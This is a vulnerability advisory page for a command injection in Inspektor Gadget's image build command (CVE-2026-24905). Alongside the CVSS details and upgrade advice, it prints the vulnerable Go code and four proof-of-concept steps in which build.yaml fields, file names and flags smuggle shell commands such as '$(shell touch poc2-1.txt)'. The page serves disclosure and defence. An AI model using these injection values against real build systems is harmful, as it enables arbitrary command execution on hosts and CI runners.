VulnerabilityPublished 22 Apr 2026Updated 30 Apr 2026

CVE-2026-24905: Inspektor Gadget · Command Injection via malicious buildOptions manipulation

Affects github.com/inspektor-gadget/inspektor-gadgetSource GCVE Database

Authoritative record:CVE-2026-24905· Medium 6.6

Public exploit available · CVSS 6.6 Medium : upgrade to 0.51.1 as a priority.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 4.0 base score

6.6Medium

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 0.51.1

CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Base metrics

Attack Vector: Local
Attack Complexity: Low
Attack Requirements: Present
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: High
Vulnerable system integrity: High
Vulnerable system availability: High
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Threat metrics

Exploit Maturity: POC

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Local: The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: Present: The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: a race condition must be won to successfully exploit the vulnerability (the successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker, or the attack may need to be launched multiple times against a single target before being successful); the attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: High: There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Vulnerable system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the vulnerable system. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the vulnerable system.
Vulnerable system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.
Exploit Maturity: POC: Based on threat intelligence sources each of the following must apply: · Proof-of-concept is publicly available · No knowledge of reported attempts to exploit this vulnerability · No knowledge of publicly available solutions used to simplify attempts to exploit the vulnerability

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 29 Jan 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: evidence found.
CVSS exploit maturity: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CVSS vector, the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade github.com/inspektor-gadget/inspektor-gadget to 0.51.1.

Affected software

Product	Affected	Fixed in
Gogithub.com/inspektor-gadget/inspektor-gadget	Affected <0.51.1	Fixed in 0.51.1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Impacted Resources `inspektor-gadget/cmd/common/image/build.go` `inspektor-gadget/cmd/common/image/helpers/Makefile.build` ### Description The `ig` binary provides a subcommand for image building, used to generate custom gadget OCI images. A part of this functionality is implemented in the file `inspektor-gadget/cmd/common/image/build.go`. The following is the code responsible to construct the build command: ```go func buildCmd(options buildOptions) []string { cmd := []string{ "make", "-f", filepath.Join(options.outputDir, "Makefile.build"), "-j", fmt.Sprintf("%d", runtime.NumCPU()), "OUTPUTDIR=" + options.outputDir, "CFLAGS=" + options.cFlags, "FORCE_COLORS=" + options.forceColorsFlag, } if options.ebpfSourcePath != "" { cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf") } if options.wasmSourcePath != "" { cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm") } if options.btfgen { cmd = append(cmd, "BTFHUB_ARCHIVE="+options.btfHubArchivePath, "btfgen") } return cmd } ``` The `Makefile.build` file is the Makefile template employed during the building process. This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile. This implementation is vulnerable to command injection: an attacker able to control values in the `buildOptions` structure would be able to execute arbitrary commands during the building process. ### Impact An attacker able to exploit this vulnerability would be able to execute arbitray command: - on the Linux host where the `ig` command is launched, if images are built with the `--local` flag - on the build container invoked by `ig`, if the `--local` flag is not provided ### Attack Complexity The `buildOptions` structure is extracted from the YAML [gadget manifest](https://inspektor-gadget.io/docs/latest/gadget-devel/building#customizing-your-build) passed to the `ig image build` command. Therefore, the attacker would need a way to control either the full `build.yml` file passed to the `ig image build` command, or one of its options. Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness. ### PoC #### PoC 1 (Vector: cflags) 1. Create the file `build.yaml` with the following content: ``` ebpfsource: "program.bpf.c" metadata: "gadget.yaml" cflags: " ; touch poc1.txt ; " ``` 2. Create the file `gadget.yaml` with the following content: ``` name: test description: test gadget ``` 3. Create the file `program.bpf.c` with the following content: ``` #include <gadget/gadget.h> char LICENSE[] SEC("license") = "GPL"; ``` 4. In the same directory where the files are run the command: ``` ig image build . -t test:latest ``` 5. Notice that the file `poc1.txt` gets created inside the directory. #### PoC2 (Vector: ebpfsource, wasm) 1. Create the file `build.yaml` with the following content: ``` ebpfsource: "$(shell touch poc2-1.txt)" wasm: "$(shell touch poc2-2.txt)" ``` 2. Create the file `$(shell touch poc2-1.txt)`: ``` touch '$(shell touch poc2-1.txt)' ``` 3. In the same directory where the files are run the command: ``` ig image build . ``` 4. Notice that the files `poc2-1.txt` and `poc2-2.txt` get created inside the directory. #### PoC3 (Vector: -o, --output) 1. Create the file `build.yaml` with the following content: ``` wasm: dummy.go ``` 2. Create the file `gadget.yaml` with the following content: ``` name: test ``` 3. Create the directory `$(shell touch poc3.txt)`: ``` touch '$(shell touch poc3.txt)' ``` 4. Retrieve the full path of the created directory: ``` readlink -f '$(shell touch poc3.txt)' ``` 5. In the same directory where the files are run the command replacing the `<PATH>` placeholder with the value retrieved at step 4: ``` ig image build . --local -o '<PATH>' ``` 6. Notice that the file `poc3.txt` gets created inside the directory. #### PoC4 (Vector: --btfhub-archive) 1. Create the file `build.yaml` with the following content: ``` ebpfsource: test.c ``` 2. Create the file `test.c`: ``` touch test.c ``` 3. In the same directory where the files are run the command ``` sudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)' ``` 4. Notice that the file `poc4.txt` gets created inside the directory. ### Suggested Remediation Sanitize build options by providing a robust whitelist to filter on. Alternatively, revisit the design of image building to prevent shell substitution. ### References - https://cwe.mitre.org/data/definitions/77.html - https://cwe.mitre.org/data/definitions/78.html

CWE-77Improper Neutralization of Special Elements used in a Command ('Command Injection') (opens in a new tab)
Class weaknessLikelihood of exploit: HighCWE Top 25 (2025): #23OWASP Top 10 A05:2025: Injection (opens in a new tab)
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
Architecture and Design
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Implementation
If possible, ensure that all external commands called from the program are statically created.
Implementation · Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
OWASP Cheat Sheets
Abuse Case (opens in a new tab)
Deserialization (opens in a new tab)
Injection Prevention (opens in a new tab)
SQL Injection Prevention (opens in a new tab)
Injection Prevention in Java (opens in a new tab)
OWASP ASVS 4.0.3
V1.5.1 (opens in a new tab)
Attack patterns
LDAP Injection (opens in a new tab)
Command Delimiters (opens in a new tab)
IMAP/SMTP Command Injection (opens in a new tab)
Manipulating Writeable Terminal Devices (opens in a new tab)
Exploiting Multiple Input Interpretation Layers (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #9OWASP Top 10 A05:2025: Injection (opens in a new tab)
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Architecture and Design
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Architecture and Design · Operation · Sandbox or Jail
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
Architecture and Design · Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
OWASP Cheat Sheets
Injection Prevention (opens in a new tab)
Injection Prevention in Java (opens in a new tab)
OS Command Injection Defense (opens in a new tab)
Abuse Case (opens in a new tab)
Deserialization (opens in a new tab)
OWASP ASVS 4.0.3
V12.3.5 (opens in a new tab)
V5.3.8 (opens in a new tab)
V1.5.1 (opens in a new tab)
Attack patterns
Command Line Execution through SQL Injection (opens in a new tab)
Command Delimiters (opens in a new tab)
Exploiting Multiple Input Interpretation Layers (opens in a new tab)
Argument Injection (opens in a new tab)
OS Command Injection (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

Community reviews

Loading reviews…

Exploitation evidence

What to do

Affected software

Description

WeaknessesCWE-77, CWE-78

Technical details

References

Community reviews

Related threats